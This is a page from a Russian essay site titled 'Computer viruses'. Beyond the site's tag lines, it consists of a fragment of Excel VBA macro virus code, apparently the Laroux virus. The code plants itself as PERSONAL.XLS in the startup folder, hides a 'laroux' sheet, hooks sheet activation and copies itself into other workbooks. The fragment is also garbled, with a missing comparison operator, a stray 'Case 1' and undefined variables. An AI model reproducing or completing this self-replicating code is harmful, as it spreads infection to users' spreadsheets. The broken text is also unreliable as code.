Computer viruses

Категория реферата: Рефераты по информатике, программированию
Теги реферата: титульный реферата, налоги в россии
Добавил(а) на сайт: Mjachikov.

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With newname$ = ActiveWorkbook.Name c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.Visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" &
"PERSONAL.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("laroux").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "personal.xls!check_files"

Case 1

Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name

If s$ "laroux" Then

Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("laroux").Visible = False

Else

End If

Application.OnSheetActivate = ""

Поделитесь этой записью или добавьте в закладки